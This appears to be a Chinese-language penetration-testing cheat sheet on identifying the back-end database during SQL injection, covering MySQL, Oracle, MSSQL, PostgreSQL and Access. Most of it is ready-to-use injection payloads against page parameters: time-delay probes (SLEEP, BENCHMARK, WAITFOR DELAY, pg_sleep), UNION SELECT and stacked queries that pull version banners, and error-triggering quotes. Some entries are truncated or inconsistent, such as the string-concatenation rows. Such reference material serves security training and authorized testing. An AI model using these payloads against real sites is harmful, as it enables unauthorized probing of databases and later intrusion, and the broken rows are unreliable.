跳到主要内容

数据库识别

作者修订时间
wjlin02023-07-05 21:37:29
描述语句
SLEEP函数page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格)page.php?id=' 'mysql' -- page.php?id=' and concat('some','string')
版本信息select @@version select version()
错误消息(根据返回的错误信息判断)page.php?id='
特有函数select connection_id() select last_insert_id() select row_count()

Oracle

描述语句
字符串连接`page.jsp?id=''oracle' -- a`
默认表page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1
错误消息(根据返回的错误信息判断)page.jsp?id='

MSSQL

描述语句
WAITFOR 函数page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断)page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=@@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误)page.asp?id=0/@@SERVERNAME
常量@@pack_received
@@rowcount

PostgreSQL

描述语句
字符串连接id=1 and 'a'+'b'='a'
休眠函数page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a

Access

[!Warning]

Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 Access只有联合注入和布尔盲注。

描述语句
access无法想其他数据库那样只能去猜测数据库命......
access空白符%20,%09,%0A,%0C,%0D

总结经验

方法描述
常见搭配asp:sql server,Access
.net :sql server
php:PostgreSQL,Mysql
java:Oracle,Mysql
各数据库标志性信息sql server:select@@version
Oracle:select banner from v$version
mysql:select @@version,version() -- ,length(user)>0正常
postgresql:select version() --
各数据库特有的函数sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
对于字符串处理方式sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'
postgresql :id=1 and 'a'+'b'='a'
特定表mssql,postgresql,mysqlinformation_schema
postgresqlpg_tables =>
mssqlsysobjects
oracleall_tables,user_tables
报错banner信息....

参考